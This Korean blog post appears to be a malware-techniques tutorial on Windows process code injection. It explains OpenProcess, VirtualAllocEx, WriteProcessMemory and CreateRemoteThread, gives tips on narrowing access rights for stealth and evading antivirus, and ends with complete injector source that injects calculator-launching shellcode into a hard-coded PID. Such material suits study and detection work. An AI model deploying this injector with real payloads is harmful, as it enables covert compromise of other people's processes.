본문 바로가기

Malware/기술 & 기법

[Injection] 코드 인젝션

개요


악성코드는 보통 악성 실행 파일을 드롭하여 추가적으로 프로세스를 만들어 작동한다. 하지만 몇몇 악성코드는 안티 바이러스 소프트웨어를 우회하기 위해서 또는 감염자에게 쉽게 발견되지 않기 위해서 자기 자신의 코드를 다른 프로세스에 주입시켜 해당 프로세스가 대신하여 악성 행위를 하게 만든다. 인젝션의 방식은 크게 악성코드를 바로 해당 프로세스에 주입시켜 스레드를 만드는 방식과 LoadLibrary() 주소로 스레드를 만들어 해당 프로세스가 악성코드를 포함한 DLL 파일을 로드시키는 방식으로 나눌 수 있다. 스레드를 생성하는 여러 가지 방법들과 DLL 인젝션은 다음에 다루도록 하고 이번 포스트에는 코드 인젝션에 대하여 다뤄 보도록 하겠다.

 

프로세스 핸들 얻기


/*
HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);
*/

bool Injector::OpenTargetProcess(DWORD pid) {
	this->hProcess = OpenProcess(
		PROCESS_ALL_ACCESS,
		FALSE,
		pid
	);
	if (this->hProcess == NULL) {
		return false;
	}

	return true;
}

 

인젝션을 하기 위해서는 우선 인젝션 대상의 프로세스 핸들을 얻어야 한다. OpenProcess()를 첫 번째 인자 값으로 프로세스 접근권한을, 두 번째 인자 값으로 프로세스 핸들을 자식 프로세스에 상속시킬 여부를, 세 번째 인자 값으로 프로세스 아이디(PID)를 주어 호출하여 대상 프로세스 핸들을 얻을 수 있다. 핸들을 얻는 데 성공한다면 핸들 값을 반환하고 핸들을 얻는 데 실패한다면 NULL을 반환한다. 핸들을 얻는 데 실패하는 경우는 인젝션 대상의 프로세스가 인젝션 프로그램보다 권한이 높을 경우, 인젝션 대상 PID가 존재하지 않을 경우, SeDebugPrivilege 권한이 없는 경우, 안티 바이러스 소프트웨어 드라이버에 의해 핸들을 얻는 데 실패할 수 있다.

 

위에 작성된 코드는 편리성을 위해 접근 권한을 PROCESS_ALL_ACCESS 으로 주었지만 인젝션 프로그램이 은밀하게 작동하기를 원한다면 예를 들어 다음과 같이 접근 권한을 부여해주어야 한다.

PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE

 

메모리 할당하기


/*
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
*/

	LPVOID lpRemoteBuffer = NULL;

	lpRemoteBuffer = VirtualAllocEx(this->hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (lpRemoteBuffer == NULL) {
		return false;
	}

대상 프로세스의 메모리 할당 여부를 확인하여 원하는 주소에 문제없이 코드를 쓸 수 있다면 메모리 할당 부분은 넘어가도 된다. 그러나 실질적으로 일일이 프로세스 메모리 할당 여부를 확인할 수 없으니 대상 프로세스에 코드를 쓸 메모리를 할당해보자.

 

VirtualAllocEx()는 VirtualAlloc()의 확장된 함수로 첫 번째 인자 값 프로세스에 원격으로 메모리를 할당시킬 수 있다. 첫 번째 인자 값으로 OpenProcess()에서 얻은 핸들인 대상 프로세스 핸들을, 두 번째 인자 값으로 메모리 주소를, 세 번째 인자 값으로 할당시킬 메모리 크기를, 네 번째 인자 값으로 메모리 할당 타입을, 다섯 번째 인자 값으로 보호 옵션을 주어 대상 프로세스에 메모리를 할당할 수 있다. 두 번째 인자 값으로 NULL을 준다면 운영체제가 알아서 적당한 메모리 주소로 선택해서 할당해줄 수 있으니 정확한 메모리 주소를 선택할 수 없다면 NULL을 주도록 하자. 만약 VirtualAllocEx()가 메모리 주소가 아닌 NULL을 반환된다면 프로세스 핸들이 정상적으로 부여됐는지, 혹은 핸들에 가상 메모리를 할당할 수 있는 접근 권한을 부여했는지 확인한다면 의외로 빠르게 문제점을 해결할지도 모른다.

 

메모리 쓰기


/*
BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);
*/

	if (!WriteProcessMemory(this->hProcess, lpRemoteBuffer, buffer, size, NULL)) {
		return false;
	}

메모리를 할당했으니 원하는 코드를 쓸 차례이다. WriteProcessMemory() 함수에 첫 번째 인자 값으로 대상 프로세스 핸들을, 두 번째 인자 값으로 할당된 메모리 주소를, 세 번째 인자 값으로 주입시킬 코드의 메모리 주소를 가르키는 포인터를, 네 번째 인자 값으로 주입시킬 코드의 크기를, 다섯 번째 인자 값으로 몇 바이트가 쓰였는지 확인할 변수의 메모리 주소를 주어 대상 프로세스에 있는 원하는 주소에 코드를 쓸 수 있다. 다섯 번째 인자 값은 선택적이므로 NULL을 주어 생략해도 무방하다.

 

스레드 만들기


/*
HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);
*/

	this->hThread = CreateRemoteThread(this->hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteBuffer, NULL, 0, NULL);
	if (this->hThread == NULL) {
		return false;
	}

코드를 주입했다고 해서 대상 프로세스가 주입했던 코드를 자동으로 실행시키는 것이 아니다. 대상 프로세스를 분석하여 후킹을 한 상황을 제외하고는 스레드를 생성해주어 코드를 실행하게 해주어야 한다. 스레드를 생성하는 방법은 여러 가지 있지만 CreateRemoteThread() 함수를 이용해서 코드가 존재하는 메모리 주소에 스레드를 만들어 볼 것이다.

 

첫 번째 인자 값으로 대상 프로세스 핸들을, 두 번째 인자 값으로 생성될 스레드의 보안 속성 구조체의 메모리 주소를, 세 번째 인자 값으로 스택의 크기를, 네 번째 인자 값으로 스레드가 시작될 메모리 주소를, 다섯 번째 인자 값으로 스레드의 파라미터 메모리 주소를, 여섯 번째 인자 값으로 스레드가 생성될 타입을, 일곱 번째 인자 값으로는 스레드 아이디를 받을 변수의 주소를 주면 된다. 세 번째 인자 값으로 0을 준다면 기본 스택 크기를 할당해주고 일곱 번째 인자 값은 스레드 아이디를 확인할 필요가 없다면 NULL을 주도록 하자. 스레드 생성에 성공하였다면 해당 스레드에 대한 핸들을 반환하고 실패하였다면 NULL을 반환할 것이다. 만약 스레드 생성에 실패하여 NULL이 반환되는 상황에는 여러가지 변수가 있기 때문에 천천히 다음 항목들을 살펴보면서 점검하는 것을 추천한다.

 

  • 인젝션 대상 프로세스와 인젝션 프로그램의 비트가 동일한지 확인한다.
  • 인젝션 프로그램을 실행할 운영체제의 버전과 비트를 확인한다.
  • 프로세스 접근 권한에 PROCESS_CREATE_THREAD 와 PROCESS_QUERY_INFORMATION 이 포함되어있는지 확인한다.

비트 문제와 프로세스 접근 권한을 확인하여도 아무 이상이 없지만 인젝션을 테스트할 때 윈도우 7 64비트에서 32비트 프로세스를 인젝션 하는 경우와 다르다면 다음과 같은 함수들을 사용해보자. 운영체제의 버전과 비트에 따라 원격 스레드를 생성하는 함수가 다를 수 있다.

 

HANDLE CreateRemoteThreadEx(
  HANDLE hProcess,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  SIZE_T dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter,
  DWORD dwCreationFlags,
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  LPDWORD lpThreadId
);

NTSTATUS NtCreateThreadEx(
  OUT PHANDLE hThread,
  IN ACCESS_MASK DesiredAccess,
  IN LPVOID ObjectAttributes,
  IN HANDLE ProcessHandle,
  IN LPTHREAD_START_ROUTINE lpStartAddress,
  IN LPVOID lpParameter,
  IN BOOL CreateSuspended,
  IN ULONG StackZeroBits,
  IN ULONG SizeOfStackCommit,
  IN ULONG SizeOfStackReserve,
  OUT LPVOID lpBytesBuffer
);

NTSTATUS RtlCreateUserThread(
  IN HANDLE rocessHandle,
  IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
  IN BOOLEAN CreateSuspended,
  IN ULONG StackZeroBits,
  IN OUT PULONG StackReserved,
  IN OUT PULONG StackCommit,
  IN PVOID StartAddress,
  IN PVOID StartParameter OPTIONAL,
  OUT PHANDLE ThreadHandle,
  OUT PCLIENT_ID ClientID
);

 

소스 코드


// Injector.h
#pragma once
#include <iostream>
#include <Windows.h>

class Injector
{
private:
	HANDLE hProcess;
	HANDLE hThread;
public:
	Injector();
	~Injector();
	bool OpenTargetProcess(DWORD pid);
	void CloseTargetProcess();
	bool Injection(BYTE buffer[], SIZE_T size);
};

 

// Injector.cpp
#include "Injector.h"

Injector::Injector() : hProcess(NULL), hThread(NULL) {}
Injector::~Injector() { CloseTargetProcess(); }

bool Injector::OpenTargetProcess(DWORD pid) {
	CloseTargetProcess();
	this->hProcess = OpenProcess(
		PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
		FALSE,
		pid
	);
	if (this->hProcess == NULL) {
		return false;
	}

	return true;
}

void Injector::CloseTargetProcess() {
	if (hProcess)
		CloseHandle(hProcess);
	if (hThread)
		CloseHandle(hThread);

	hProcess = NULL;
	hThread = NULL;
}

bool Injector::Injection(BYTE buffer[], SIZE_T size) {
	LPVOID lpRemoteBuffer = NULL;

	if (this->hThread != NULL) {
		CloseHandle(this->hThread);
		this->hThread = NULL;
	}

	lpRemoteBuffer = VirtualAllocEx(this->hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (lpRemoteBuffer == NULL) {
		return false;
	}

	if (!WriteProcessMemory(this->hProcess, lpRemoteBuffer, buffer, size, NULL)) {
		return false;
	}

	this->hThread = CreateRemoteThread(this->hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteBuffer, NULL, 0, NULL);
	if (this->hThread == NULL) {
		return false;
	}

	WaitForSingleObject(this->hThread, INFINITE);
	VirtualFreeEx(this->hProcess, lpRemoteBuffer, size, MEM_RELEASE);
	return true;
}

 

// main.cpp
#include <iostream>
#include "Injector.h"

using namespace std;

BYTE g_shellCode[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main(void) {
	Injector* injector = new Injector();

	if (!injector->OpenTargetProcess(3404)) {
		cout << "[!]OpenTargetProcess" << endl;
		return 1;
	}
	if (!injector->Injection(g_shellCode, sizeof(g_shellCode))) {
		cout << "[!]Injection" << endl;
		return 1;
	}
	injector->CloseTargetProcess();
	delete injector;
	return 0;
}

 

'Malware > 기술 & 기법' 카테고리의 다른 글

[Process Hollowing] 프로세스 할로잉  (0) 2019.11.14
[Injection] DLL 인젝션  (0) 2019.11.13